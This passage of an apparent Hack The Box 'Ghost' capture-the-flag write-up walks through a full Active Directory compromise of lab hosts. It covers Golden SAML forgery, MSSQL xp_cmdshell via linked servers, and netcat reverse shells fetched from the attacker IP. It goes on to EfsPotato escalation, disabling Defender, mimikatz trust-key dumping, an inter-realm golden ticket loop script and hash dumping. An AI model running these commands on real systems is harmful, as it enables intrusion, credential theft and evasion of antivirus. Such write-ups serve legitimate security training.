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
[-] Encrypted Token Signing Key End
[-] Certificate value: 0818F900456D4642F29C6C88D26A59E5A7749EBC
[-] Store location value: CurrentUser
[-] Store name value: My

Issuer Identifier: The issuer identifier is the URL that ADFS uses as its identity, which shows the ADFS server's endpoint URL for services and trust relationships:

## Reading The Issuer Identifier
[-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...

Relying Party Trust Information: Lists details about a relying party trust configuration, in this case, core.ghost.htb, which includes information like the sign-in endpoint, signature algorithm, and issuance authorization rules.

## Reading Relying Party Trust Information from Database
[-]
core.ghost.htb
 ==================
    Enabled: True
    Sign-In Protocol: SAML 2.0
    Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse
    Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
    SamlResponseSignatureType: 1;
    Identifier: https://core.ghost.htb:8443
    Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
  <RequireFreshAuthentication>false</RequireFreshAuthentication>
  <IssuanceAuthorizationRules>
    <Rule>
      <Conditions>
        <Condition i:type="AlwaysCondition">
          <Operator>IsPresent</Operator>
        </Condition>
      </Conditions>
    </Rule>
  </IssuanceAuthorizationRules>
</PolicyMetadata>
    Access Policy Parameter:
    Issuance Rules: @RuleTemplate = "LdapClaims"
@RuleName = "LdapClaims"
c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
 => issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);

Copy the output into text files as follows:

  • DKMKey.txt - the private key (Only the 2nd one works after testing).
  • TKSKey.txt - the Token Signing key.

But we need to convert them into a format the tools can later use:

  • TKSKey.txt needs to be Base64 decoded.
  • DKMKey.txt needs to be converted to hexadecimal values.

Therefore, for the TKSKey.txt:

Bash
cat TKSKey.txt | base64 -d > TKSKey.bin

For the DKMKey.txt:

Bash
cat DKMKey.txt | tr -d "-" | xxd -r -p > DKMkey.bin
  • tr -d "-": Deletes all -'s
  • xxd -r -p: Read Hexdump

Have them ready:

Now we can Forge the Golden SAML token using the ADFSpoof tool for the user Administrator, who is available to access https://federation.ghost.htb. Base on the dumped information (Relying Party Trust Information) we extracted previously, we can run ADFSpoof.py with the following parameters (set up virtual environment for the requirements):

Bash
python ADFSpoof.py -b TKSKey.bin DKMKey.bin -s 'core.ghost.htb' saml2 --endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' --nameidformat 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress' --nameid '[email protected]' --rpidentifier 'https://core.ghost.htb:8443' --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>[email protected]</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'

Last step, we can simply use the forged SAML token to sign into other services, using tools such as the Burp Suite repeater to replay web requests. POST this token to the ADFS endpoint (https://core.ghost.htb:8443/adfs/saml/postResponse) in a way that mimics a browser or SAML client sending an authentication request. The token should be included in the body of the request in a form data field typically named SAMLResponse, and we need to set the header Content-Type: application/x-www-form-urlencoded:

From the response from the ADFS server, it means the assertion is valid, we should now be authenticated as the Administrator user. Right click on the request in BurpSuite and choose Request in browser, now we are redirected to the Ghost Config Panel with the set cookie:

We can now execute MSSQL commands remotely, which we will introduce in the next chapter. Except that we can run commands as user web_client by simply input like EXEC sp_linkedservers; to check the linked servers:

There're 2 servers linked in the database, PRIMARY & DC01, we are now on DC01 (SELECT @@SERVERNAME):

Simply run the standard SQL command on PRIMARY as sa user to test xp_cmdshell:

SQL
EXECUTE('EXECUTE AS LOGIN = ''sa'' EXEC SP_CONFIGURE ''show advanced options'', 1;reconfigure;EXEC SP_CONFIGURE ''xp_cmdshell'' , 1;reconfigure;exec xp_cmdshell ''whoami''') AT "PRIMARY"

We are now free to execute commands on the remote PRIMARY machine (CORP.GHOST.HTB). Set up a reverse shell then we can move to the next target (details can be referred to the next part for the same content).

MSSQL | NT Service

The credentials of Florence.Ramirez work for the windows MSSQL server as well, that we can access it with Impacket tools:

Bash
impacket-mssqlclient -windows-auth ghost.htb/florence.ramirez:'uxLmt*udNc▒▒▒▒▒▒'@ghost.htb

Once we log in successfully, we can try to utilize xp_cmdshell to execute arbitrary commands after gaining sa privileges. This part has been detailed introduced in the writeup for the Freelancer machine.

Since now we can only access as guest:

We need to run certain commands to be able to execute xp_cmdshell. When we try to run exec_as_login sa; to impersonate sa, we got an error 'Cannot execute as the server principal because the principal "sa;" does not exist, this type of principal cannot be impersonated, or you do not have permission.'

However, since we are having an Impacket MSSQL shell, that we can use some custom commands and exploit the MSSQL server introduced in this article.

We can Enumerate linked servers in the MSSQL instance. Since we know the two domains trust each other, their databases could be configured to connect to remote databases running on other systems. This will allows us to execute a query against one host, but the data to be retrieved from multiple systems. If linked servers are configured, and we may be able to exploit this feature to move laterally between different database systems.

Impacket-mssqlclient can be used to determine server links in place, and execute commands on the remote SQL server, with custom command enum_links;:

We discover another server named PRIMARY. So we can use this link with command use_link [PRIMARY]; and escalate our privilege as sa on that server to run xp_cmdshell commands as we usually do using MSSQL language:

SQL
-- Linked servers
enum_links
use_link [PRIMARY]
-- Enable the xp_cmdshell as sa
use master
-- We cannot add `;` for the next command (?), otherwise fail!
exec_as_login sa
enable_xp_cmdshell
RECONFIGURE

Don't add ; running MSSQL command in this server, or it fails all the time.

Run xp_cmdshell "whoami" to check if we can run arbitrary command now:

Yes, we do. Prepare a reverse payload for a Windows machine, run xp_cmdshell "powershell -e JABjAGwAaQBlAG4AdAAgA...", but we failed because there's AV on the target machine blocking malicious activities:

But we have an easy way to bypass it using Netcat. We manage to upload the Netcat binary from our attack machine, and then run it separately for a reverse shell. Since Netcat is considered just a practical tool:

SQL
xp_cmdshell "echo IWR http://10.10.16.2/nc.exe -Outfile %TEMP%\nc.exe | powershell -noprofile"
xp_cmdshell "%TEMP%\nc.exe 10.10.16.2 4444 -e powershell.exe"

With Netcat listener set up in advance on our machine, we have a shell as nt service\mssqlserver:

PRIMARY | NT Authority

Run whoami /priv we discover we have SeImpersonatePrivilege as user NT Service:

The SeImpersonatePrivilege allows a process to impersonate another user or process. This privilege can be exploited to elevate privileges on the system using various techniques. The famous one is the Potato series. Down the EfsPotato from Github, that exploits the SeImpersonatePrivilege and the EFSRPC (Encrypting File System Remote Protocol) to escalate privileges on a Windows system.

And we even have Microsoft .NET Framework installed on the machine, so we don't need to compile it on our attack machine in advance:

Simply transfer the EfsPotato.cs and then compile it on the target:

PowerShell
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
  • 1691 and 618 are warning codes that the compiler would normally output during the compilation process.

After compiling, we can then run ./EfsPotato.exe 'whoami' to testify:

NT authority/SYSTEM, the ultimate privilege user on Windows machine. Thus, we can immediately use Netcat again to send us a reverse shell with NT privilege:

PowerShell
.\EfsPotato.exe 'nc.exe 10.10.16.2 4445 -e powershell.exe'

Now we have the NT Authority shell:

Let's manage an MSF shell then. Before that, we need to turn off the annoying AV. With NT Authority account, we can simply run a PowerShell command to kill AV/AMSI:

PowerShell
Set-MpPreference -DisableRealtimeMonitoring $True

GHOST-COPR | NT Authority

After launching the MSF shell, we can discover user NT Authority is a domain user for GHOST-CORP (CORP.GHOST.HTB):

Now we can do a lot of things here. From ipconfig we know the machine has a local network with IP address '10.0.0.10', with subnet mask '255.255.255.0'; And we can also use Bloodhound again to gather more privileged information.

The problem is that, there's no flag in this machine, which means our target should be somewhere else. Perhaps on the domain controller DC01.GHOST.HTB? Anyway, we will look into the local network to see what's out there.

And to have a better view on the domains, I then ran 'adPEAS.ps1' as my favorite:

[+] Found general Active Directory domain information for domain 'corp.ghost.htb':
Domain Name:                            corp.ghost.htb
Domain Functional Level:                Windows 2016
Forest Name:                            ghost.htb
Root Domain Name:                       ghost.htb
Forest Children:                        No Subdomain[s] available
Domain Controller:                      PRIMARY.corp.ghost.htb
[+] Found configured domain trusts of 'corp.ghost.htb':
Target Domain Name:                     ghost.htb
Target Domain SID:                      S-1-5-21-4084500788-938703357-3654145966
Flags:                                  IN_FOREST, DIRECT_OUTBOUND, TREE_ROOT, DIRECT_INBOUND
TrustAttributes:                        WITHIN_FOREST
[+] Found members in group 'BUILTIN\Administrators':
GroupName:                              Domain Admins
distinguishedName:                      CN=Domain Admins,CN=Users,DC=corp,DC=ghost,DC=htb
objectSid:                              S-1-5-21-2034262909-2733679486-179904498-512
[+] Found members in group 'GHOST\Enterprise Admins':
sAMAccountName:                         Administrator
distinguishedName:                      CN=Administrator,CN=Users,DC=ghost,DC=htb
objectSid:                              S-1-5-21-4084500788-938703357-3654145966-500

The DC on CORP.GHOST.HTB is named PRIMARY.CORP.GHOST.HTB. We can use nslookup to check their IP on the victim machine:

And the DC on GHOST.HTB is named DC01.CORP.HTB, whose IP is:

All in all, these domains are trusted each other within the forest. In this scenario our domain (CORP.GHOST.HTB) is trusting some privileges to principal from a different domain (GHOST.HTB).

Since we are now the highest privilege owner for the PRIMARY machine on domain CORP.GHOST.HTB), whose DC is primary.ghost.htb. We can then try to lateral to GHOST.HTB (which we discover above that its DC is 'dc01.corp.ghost.htb') by abusing Child-to-Parent forest privilege escalation introduced on Hacktricks.

CROSS FOREST ATTACKS | Administrator

Enumeration

With the PoweView module imported, we can run:

PowerShell
Get-DomainTrust

The next attack involves performing a child-to-parent forest privilege escalation in an Active Directory (AD) environment. This attack leverages the trust relationships between a child domain and its parent domain to escalate privileges.

We can run mimikatz to dump information about trust relationships from the Local Security Authority (LSA) on the target domain controller (DC):

lsadump::trust /patch

This lsadump::trust module dumps the forest trust keys, which can be leveraged for forging inter-realm trust tickets. Since most of the EDRs are paying attention to the KRBTGT hash, this is a stealthy way to compromise forest trusts:

mimikatz # lsadump::trust /patch
Current domain: CORP.GHOST.HTB (GHOST-CORP / S-1-5-21-2034262909-2733679486-179904498)
Domain: GHOST.HTB (GHOST / S-1-5-21-4084500788-938703357-3654145966)
 [  In ] CORP.GHOST.HTB -> GHOST.HTB
    * 6/18/2024 8:55:05 AM - CLEAR   - 87 d6 a8 80 98 3b d7 0b aa 5e 69 24 3a 99 90 bc f8 d0 2d 64 b1 a6 f8 a6 5a 2a ff 42 bc f0 47 c4 11 3c 57 ea af 61 36 46 5e f1 9b 05 98 74 85 c9 c5 15 2c d4 f7 08 8e 10 59 85 fa 8e 48 34 d6 3b b8 4c 69 ee e1 09 0c a1 29 d4 66 a6 d0 2d cc c9 8c 08 6c 6b 50 14 ab 63 ba 13 87 04 31 7b d3 ac 65 01 5f 10 b1 09 82 f4 29 bb 5c 33 df 6e d1 db a3 06 03 9f 37 22 60 90 75 5e dd d1 2c 99 e6 ed 2e c9 89 75 16 d8 19 f9 e1 d2 15 6c dd 7e fd 94 fe 86 77 d8 1b 2f 91 c6 2f 51 03 d6 d1 da e6 fb 79 a4 53 00 2b c2 7a 93 6f 79 cd e5 83 a6 c2 d8 ca 85 be 7f 08 8b 7b 33 75 cb 48 39 cc 5c ae de e3 46 42 a0 0f d8 35 12 92 c2 15 1d 92 1e 03 63 32 8b 29 78 c3 03 a1 3b 20 c8 c9 94 38 b1 3a 31 9a dd 48 7c 52 30 7a 81 d1 75 0f 9f 30 d7 94 04 
        * aes256_hmac       00e2c7b1958d93502a7307cdd218bea9f783fef8d22690a50642dea7b4f69f17
        * aes128_hmac       734cb9dfdeb5c942a51f689057ea32bd
        * rc4_hmac_nt       dae1ad83e2af14a379017f244a2f5297
 [ Out ] GHOST.HTB -> CORP.GHOST.HTB
    * 6/17/2024 9:51:19 AM - CLEAR   - 35 40 61 63 fc 2d 24 ab 5b 37 68 af 85 0c 97 56 75 04 29 15 25 d5 01 6a 22 a6 de dc c4 85 09 9c ab a1 64 6e 5a 0e 5f 4e 18 38 06 2f fe d5 6b 9c 52 b7 81 2d 51 16 66 0c a4 fa fb 0b 25 92 e8 79 0f a6 cf e2 65 1f 36 eb 1d ee 6c 8e b0 9b d5 a2 e3 8a 40 22 c4 f9 95 0c 94 b1 c8 36 27 4d 17 56 3d 9b 3c 08 46 bb 4b 21 fd 6e 62 93 1a 48 5a e9 6e c8 94 29 e4 77 4b ec cb e6 e8 70 d9 43 4d 80 d0 54 d2 55 7e 8d 5c 76 0c bd f3 2b 28 70 82 ba 30 a7 40 45 cc 16 52 62 7d 8b 80 71 3d a5 a7 c0 0c a2 f8 ea 85 11 96 cc a6 0a 71 a9 c3 3f de c9 d3 75 c3 1e 0b a9 72 45 3e b7 cb ff 71 38 2e 0c 19 fc 3d ca 02 7b c1 e2 7f c5 b4 49 30 07 c1 8c 60 0f f7 4b aa 87 05 d1 63 a8 9d 10 d7 f8 60 1c a9 4a 56 b2 b0 d2 ad 4f bf 00 c5 36 48 77 18 ec 
        * aes256_hmac       2a6246855d7048ad3f39be69a216742c193afa3d841f46c4a269ba8468f3b163
        * aes128_hmac       a98256f08f9da89d7880ab72ff57ecfb
        * rc4_hmac_nt       ba8ef93f824c0f3b1e98037ae08ab68c
 [ In-1] CORP.GHOST.HTB -> GHOST.HTB
    * 1/31/2024 7:33:33 PM - CLEAR   - f7 22 98 11 0b 7d f8 1b f7 47 2d 55 f9 90 7b 0f 55 70 d7 f8 d0 29 75 0c 5a 1d 74 11 ae a4 bf 03 db 7d 3f f3 b8 43 53 b0 0c b0 1f 24 6e b5 4b b8 ad 16 40 8d 31 44 da 6e 1e 8a a2 d2 c0 d5 6f fa 8d 06 89 7a 81 5d 7e 73 48 78 4b d2 8e ef b0 27 63 0b dc 92 c3 a1 26 72 37 b1 29 ef 9e 5c 55 69 4c 3a 34 bf 12 37 66 b0 e2 54 94 53 30 c7 bb 19 35 f2 03 86 df 96 b4 8a 5e 05 be 40 5f 25 31 d4 71 0a 9e 30 f0 8b 34 3f c4 26 ee a1 4f c5 a5 f5 aa ae 70 17 b2 f1 35 1b 3f 72 c8 e8 59 cc b4 a8 d3 b0 8f 8b 3c 8c fb 02 f0 b1 47 95 c2 41 7b 77 b5 0c 1a ea 4d ac 5d ff dc 09 71 40 ac e0 59 b2 6f 54 12 ce 35 a7 a2 c2 5f 9c 48 63 77 75 96 00 98 ac d5 e9 5a 1c b4 38 66 37 6c a9 af 2a ae d6 41 db 87 5e 7e 30 09 8f 9c 94 11 48 9a 3a e8 88 8a 9c d3 66 ec bc b8 89 64 f8 f5 aa 63 ce 50 7a 
        * aes256_hmac       65f29f0fb742745cbfea8e3170c992804aca7c5f9aab5db75f1aa00a814d8639
        * aes128_hmac       5e5155ac760ced16b39e220802c20b97
        * rc4_hmac_nt       2636885e5b7ee03e66fac8a567a14cb8
 [Out-1] GHOST.HTB -> CORP.GHOST.HTB
    * 6/17/2024 9:51:19 AM - CLEAR   - f7 22 98 11 0b 7d f8 1b f7 47 2d 55 f9 90 7b 0f 55 70 d7 f8 d0 29 75 0c 5a 1d 74 11 ae a4 bf 03 db 7d 3f f3 b8 43 53 b0 0c b0 1f 24 6e b5 4b b8 ad 16 40 8d 31 44 da 6e 1e 8a a2 d2 c0 d5 6f fa 8d 06 89 7a 81 5d 7e 73 48 78 4b d2 8e ef b0 27 63 0b dc 92 c3 a1 26 72 37 b1 29 ef 9e 5c 55 69 4c 3a 34 bf 12 37 66 b0 e2 54 94 53 30 c7 bb 19 35 f2 03 86 df 96 b4 8a 5e 05 be 40 5f 25 31 d4 71 0a 9e 30 f0 8b 34 3f c4 26 ee a1 4f c5 a5 f5 aa ae 70 17 b2 f1 35 1b 3f 72 c8 e8 59 cc b4 a8 d3 b0 8f 8b 3c 8c fb 02 f0 b1 47 95 c2 41 7b 77 b5 0c 1a ea 4d ac 5d ff dc 09 71 40 ac e0 59 b2 6f 54 12 ce 35 a7 a2 c2 5f 9c 48 63 77 75 96 00 98 ac d5 e9 5a 1c b4 38 66 37 6c a9 af 2a ae d6 41 db 87 5e 7e 30 09 8f 9c 94 11 48 9a 3a e8 88 8a 9c d3 66 ec bc b8 89 64 f8 f5 aa 63 ce 50 7a 
        * aes256_hmac       37c5b6a6076f891a369416f6de05980b74af0bb903da6a9f7116084ace834317
        * aes128_hmac       abbd5eb343e1af08b7e813a4cbcf3617
        * rc4_hmac_nt       2636885e5b7ee03e66fac8a567a14cb8

We can run wmic useraccount get name,sid to retrieve a list of user accounts on a Windows system along with their corresponding Security Identifiers (SIDs) for future tests, as '500' for Administrator, '502' for krbtgt, '512' for Domain Admins, '519' for Enterprise Admins, etc.

Name                  SID                                            Administrator         S-1-5-21-2034262909-2733679486-179904498-500   
Guest                 S-1-5-21-2034262909-2733679486-179904498-501   
krbtgt                S-1-5-21-2034262909-2733679486-179904498-502   
Administrator         S-1-5-21-4084500788-938703357-3654145966-500   
Guest                 S-1-5-21-4084500788-938703357-3654145966-501   
krbtgt                S-1-5-21-4084500788-938703357-3654145966-502   
kathryn.holland       S-1-5-21-4084500788-938703357-3654145966-3602  
cassandra.shelton     S-1-5-21-4084500788-938703357-3654145966-3603  
robert.steeves        S-1-5-21-4084500788-938703357-3654145966-3604  
florence.ramirez      S-1-5-21-4084500788-938703357-3654145966-3606  
justin.bradley        S-1-5-21-4084500788-938703357-3654145966-3607  
arthur.boyd           S-1-5-21-4084500788-938703357-3654145966-3608  
beth.clark            S-1-5-21-4084500788-938703357-3654145966-3610  
charles.gray          S-1-5-21-4084500788-938703357-3654145966-3611  
jason.taylor          S-1-5-21-4084500788-938703357-3654145966-3612  
intranet_principal    S-1-5-21-4084500788-938703357-3654145966-3614  
gitea_temp_principal  S-1-5-21-4084500788-938703357-3654145966-3615

I then ran the Bloodhound again, and this time we harvest information for the domain CORP.GHOST.HTB:

We can also verify the SIDs for account with high privilege in domain GHOST.HTB, like ENTERPRISE [email protected] with its SID S-1-5-21-4084500788-938703357-3654145966-519 (or 512 for Domain Admins) from the Bloodhound digestor of user Florence:

SIDHistory Spoofing

Because the Forest Trust Relationship is bi-directional, it is possible to escalate from a child domain to a parent root domain by doing SIDHistory spoofing. With the dumped hash of the currentdomain\targetdomain$ trust account, we can use the trust key and domain SIDs above, forge an inter-realm TGT using Mimikatz again, adding the SID for the target domain’s Enterprise Admins group to our ‘SID history’ (require to run lsadump::trust module before):

kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498 /S-1-5-21-4084500788-938703357-3654145966-519  /rc4:dae1ad83e2af14a379017f244a2f5297 /service:krbtgt /target:GHOST.HTB /ticket:axura.kirbi 
  • Parameters reference in this link.
  • /user:Administrator: The user for whom the ticket is being created.
  • /domain:CORP.GHOST.HTB: The current child domain.
  • /sid:S-1-5-21-2034262909-2733679486-179904498: The Security Identifier (SID) of the child domain CORP.GHOST.HTB we retrieved from lsadump::trust module (we can also check this in Bloodhound).
  • /sids:S-1-5-21-4084500788-938703357-3654145966-519: The SID of a high-privilege account as our target from another domain (GHOST.HTB), indicating cross-domain access. We can check this through Bloodhound for a domain user on the DC.
  • /rc4:dae1ad83e2af14a379017f244a2f5297: The NTLM hash of the krbtgt account, used to sign the ticket. This is the NTLM hash for user GHOST$ as DA, check by command lsadump::lsa /patch. The hash of the krbtgt account for CORP.GHOST.HTB (69eb46aa347a8c68edb99be2725403ab) can also be tested.
  • /service:krbtgt: Choose the Kerberos Ticket Granting Ticket service.
  • /target:GHOST.HTB: The target parent domain for the Golden Ticket.
  • /ticket:axura.kirbi: The name of the output ticket file.

Then, use Rubeus to request a Service Ticket (TGS) with the TGT we just applied, for the CIFS service on the domain controller. This ticket (CIFS) allows access to file shares and other resources on the target:

PowerShell
.\Rubeus.exe asktgs /ticket:axura.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt
  • asktgs: Command to request a Service Ticket (TGS) from the Kerberos service.
  • /ticket:axura.kirbi: The previously created Golden Ticket.
  • /dc:dc01.ghost.htb: The domain controller to send the request to.
  • /service:CIFS/dc01.ghost.htb: The service principal name (SPN) for the CIFS service on the domain controller.
  • /nowrap: Ensures that the base64-encoded ticket does not wrap lines.
  • /ptt: Pass the ticket directly to the current session.

If we use klist to check the current cached tickets, we will see the TGS:

Then we can run this command to verify if we have proper privilege:

PowerShell
dir \\dc01.ghost.htb\c$

But we will fail:

Here's a timing issue, that if we don't make it fast enough, the TGS won't work for the session. Thus, I created a script to automate the process, with Mimikatz, Rubeus ready (change their paths in the script if they are not):

PowerShell
# Define the paths to the Mimikatz and Rubeus executables
$mimikatzPath = ".\mimikatz.exe"
$rubeusPath = ".\Rubeus.exe"
# Define the Mimikatz and Rubeus commands
$mimikatzTrustCmd = '"lsadump::trust /patch" exit'
$mimikatzGoldenCmd = '"kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /rc4:dae1ad83e2af14a379017f244a2f5297 /service:krbtgt /target:GHOST.HTB /ticket:axura.kirbi" exit'
$rubeusCmd = "/ticket:axura.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt"
# Define the directory to check
$targetDirectory = "\\dc01.ghost.htb\c$"
# Function to run a command and wait for it to complete
function Run-Command {
    param (
        [string]$cmd
    )
    & cmd /c $cmd | Out-Null
}
# Loop to keep trying until access is granted
while ($true) {
    try {
        # Run Mimikatz to dump trust information and create the Golden Ticket
        Run-Command "$mimikatzPath $mimikatzTrustCmd"
        Run-Command "$mimikatzPath $mimikatzGoldenCmd"
        
        # Run Rubeus to request the TGS and apply the ticket
        Run-Command "$rubeusPath asktgs $rubeusCmd"
        # Check if we can access the directory
        $access = Test-Path $targetDirectory
        if ($access) {
            Write-Host "Access granted to $targetDirectory"
            dir $targetDirectory
            break
        } else {
            Write-Host "Access denied. Purging tickets and retrying..."
            klist purge
        }
    } catch {
        Write-Host "An error occurred: $_"
        klist purge
    }
}

We continuously attempts to create and apply the Golden Ticket and access the C$ share. But we will succeed to make it work under the session at once, since we have quick enough to use the TGT to generate a TGS for the CIFS service that allows us to access resources from DC01.GHOST.HTB:

So now we can just access the DC01.GHOST.HTB with Read/Write rights, and take the flags using type command.

CORP | Admininistrator

Given now we have a session with valid TGS as Administrator for domain GHOST.HTB to access the CIFS service, we can run PsExec to execute commands on remote systems.

Since the remote machine (GHOST.HTB) has AV for preventing straightforward revere shell script, we can first upload Netcat to the target:

copy nc.exe \\DC01.ghost.htb\c$\Windows\Temp\

Do some debug and test, with the following command we can manage to get a reverse shell:

PowerShell
.\PsExec64.exe \\DC01.ghost.htb cmd.exe /c "C:\Windows\Temp\nc.exe -e powershell 10.10.16.2 4444"

With listener set up in advance, now we are CORP\Administrator on the domain controller DC01.GHOST.HTB for GHOST.HTB. Both flags locate at the DC machine:

DC01 | NT Authority

After the flags, then it's just some playaround.

Now we don't have full access as the Administrator to kill AV on the DC, because we have only a CIFS TGS. But we do have various privileges as we can see by running whoami /priv, including SeImpersonatePrivilege.

Thus, we can use EfsPotato again to privesc as CORP\Administrator:

From the listener we gain shell of NT Authority, and we can check IP that tells us we are in the DC local network:

Or run command (Get-ComputerInfo).CsName to retrieve the computer name DC01. With a full control on the DC01.GHOST.HTB, we are now free to kill AV and run Mimikatz to hashdump.

Once Mimikatz is running, enable necessary privileges:

privilege::debug
token::elevate

Dump the SAM database to get local user hashes:

lsadump::sam

We can use the dumped NTLM hashes from lsa to remote logon to all corresponding machines like PRIMARY, DC01, GHOST.

Or, we can export the tickets using the sekurlsa::ticket module:

